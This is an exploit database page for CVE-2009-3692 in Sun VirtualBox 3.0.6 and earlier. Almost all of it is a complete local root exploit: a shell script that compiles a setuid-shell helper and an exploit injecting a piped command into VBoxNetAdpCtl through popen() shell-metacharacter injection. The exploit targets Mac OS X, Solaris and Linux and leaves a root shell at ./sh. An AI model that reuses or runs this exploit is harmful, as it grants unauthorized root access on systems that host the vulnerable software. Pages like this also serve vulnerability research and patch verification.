Lucene search
K

Sun VirtualBox <= 3.0.6 privilege escalation

🗓️ 17 Oct 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Sun VirtualBox <= 3.0.6 privilege escalation exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Sun VirtualBox <= 3.0.6 privilege escalation
17 Oct 200900:00
zdt
Circl
CVE-2009-3692
17 Oct 200900:00
circl
CVE
CVE-2009-3692
13 Oct 200910:00
cve
Cvelist
CVE-2009-3692
13 Oct 200910:00
cvelist
FreeBSD
virtualbox -- privilege escalation
7 Oct 200900:00
freebsd
Exploit DB
Sun VirtualBox 3.0.6 - Local Privilege Escalation
17 Oct 200900:00
exploitdb
EUVD
EUVD-2009-3667
7 Oct 202500:30
euvd
exploitpack
Sun VirtualBox 3.0.6 - Local Privilege Escalation
17 Oct 200900:00
exploitpack
Tenable Nessus
FreeBSD : virtualbox -- privilege escalation (ebeed063-b328-11de-b6a5-0030843d3802)
8 Oct 200900:00
nessus
Tenable Nessus
GLSA-201001-04 : VirtualBox: Multiple vulnerabilities
25 Feb 201000:00
nessus
Rows per page

                                                #!/bin/sh
# CVE-2009-3692 Sun VirtualBox &lt;= 3.0.6 local root exploit 
# ========================================================
# Exploits popen() meta char shell injection vulnerability
# in Sun VirtualBox.
# 
# E.g.
# admin@sundevil:~/test$ id
# uid=101(admin) gid=10(staff) groups=10(staff)
# admin@sundevil:~/test$ uname -a
# SunOS sundevil 5.11 snv_111b i86pc i386 i86pc Solaris
# admin@sundevil:~/test$ ./prdelka-vs-SUN-virtualbox.sh 
# [ Sun VirtualBox &lt;= 3.0.6 OSX/SOL/LINUX local root exploit
# [ No path provided, will attempt to exploit system default
# [ Places a root shell in ./sh if succesful
# [ Detected a SunOS target
# [ Detected SunOS is x86 platform
# ifconfig: add: bad address
# [ Trying for root shell.
# # id
# uid=101(admin) gid=10(staff) euid=0(root) egid=0(root) groups=10(staff)
#
# -- prdelka 
cat &gt;&gt; runme.c &lt;&lt; EOF
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;fcntl.h&gt;

int main(int argc, char* argv[]){
	FILE *from, *to;
	int fd;
	char ch;
	setuid(0);
	setgid(0);
	from = fopen(&quot;/bin/sh&quot;,&quot;rb&quot;);
	to = fopen(&quot;./sh&quot;,&quot;wb&quot;);
	while(!feof(from)){
		ch = fgetc(from);
		if(!feof(from))
			fputc(ch, to);
	}
	fclose(from);
	fclose(to);
	fd = open(&quot;./sh&quot;,O_RDWR);
	fchown(fd,0,0);
	fchmod(fd,S_IRWXU|S_IRWXG|S_IRWXO|S_ISUID|S_ISGID);
	close(fd);	
	exit(0);
}
EOF
gcc runme.c -o runme 2&gt;/dev/null
rm -rf runme.c
cat &gt;&gt; exploit.c &lt;&lt; EOF
/*
 CVE-2009-3692 VirtualBox VBoxNetAdpCtl Privilege Escalation
 ===========================================================
 Local exploit for the popen() meta character shell injection
 vulnerability that permits a malicious user to obtain root
 privileges on the VirtualBox host machine. This exploit relies
 on the &quot;/bin/sh&quot; binary on the host as being a non-privilege
 dropping shell such as zsh, this is not always the OS default
 setting.
 
 Most modern platforms do not have a /bin/sh that retains 
 privileges by default however Solaris still seems to!

 You can provide an arguement to the VBoxNetAdpCtl binary 
 path or alternatively this exploit detects local host platform
 and runs with common or default installation location.
 */
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/utsname.h&gt;

int main(int argc,char* argv[])
{
        char *env[] = {NULL};
	int platform, machine = 0;
	struct utsname* sysdetail = malloc(sizeof(struct utsname));
	printf(&quot;[ Sun VirtualBox &lt;= 3.0.6 OSX/SOL/LINUX local root exploit\n&quot;);
	if(argc &gt; 1){
		printf(&quot;[ Trying %s\n&quot;, argv[1]);
		execle(argv[1],argv[1],&quot;vboxnet0|./runme&quot;,&quot;1::2&quot;,NULL,env);
		exit(0);
	}
	else{
		printf(&quot;[ No path provided, will attempt to exploit system default\n&quot;);
	}
 	printf(&quot;[ Places a root shell in ./sh if succesful\n&quot;);
	uname(sysdetail);
	if(!strncmp(&quot;Darwin&quot;,sysdetail-&gt;sysname,strlen(&quot;Darwin&quot;)))
		platform = 1;
	if(!strncmp(&quot;SunOS&quot;,sysdetail-&gt;sysname,strlen(&quot;SunOS&quot;))) 
		platform = 2; 
	if(!strncmp(&quot;Linux&quot;,sysdetail-&gt;sysname,strlen(&quot;Linux&quot;))) 
		platform = 3;
	switch(platform){
		case 1:
			printf(&quot;[ Detected a Mac OS X target\n&quot;);
			execle(&quot;/Applications/VirtualBox.app/Contents/MacOS/VBoxNetAdpCtl&quot;,&quot;VBoxNetAdpCtl&quot;,&quot;vboxnet0|./runme&quot;,&quot;1::2&quot;,NULL,env);
			break;
		case 2:
			printf(&quot;[ Detected a SunOS target\n&quot;);
			if(!strncmp(&quot;i86pc&quot;,sysdetail-&gt;machine,strlen(&quot;i86pc&quot;))){
				printf(&quot;[ Detected SunOS is x86 platform\n&quot;);
				execle(&quot;/opt/VirtualBox/i386/VBoxNetAdpCtl&quot;,&quot;VBoxNetAdpCtl&quot;,&quot;vboxnet0|./runme&quot;,&quot;1::2&quot;,NULL,env);
			}
			else{
				printf(&quot;[ Guessing SunOS is amd64 platform\n&quot;);
				execle(&quot;/opt/VirtualBox/amd64/VBoxNetAdpCtl&quot;,&quot;VBoxNetAdpCtl&quot;,&quot;vboxnet0|./runme&quot;,&quot;1::2&quot;,NULL,env);
			}
			break;
		case 3:
			printf(&quot;[ Detected a Linux target\n&quot;);
			execle(&quot;/opt/VirtualBox/VBoxNetAdpCtl&quot;,&quot;VBoxNetAdpCtl&quot;,&quot;vboxnet0|./runme&quot;,&quot;1::2&quot;,NULL,env);
			break;
		default:
			printf(&quot;[ Unknown OSE target. Try ./%s &lt;path&gt;/VBoxNetAdpCtl\n&quot;,argv[0]);
			break;
	}
        exit(0);
}
EOF
gcc exploit.c -o exploit 2&gt;/dev/null
rm -rf exploit.c
if [ $1 ]
then
        ./exploit $1
else
        ./exploit
fi
echo [ Trying for root shell.
./sh
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation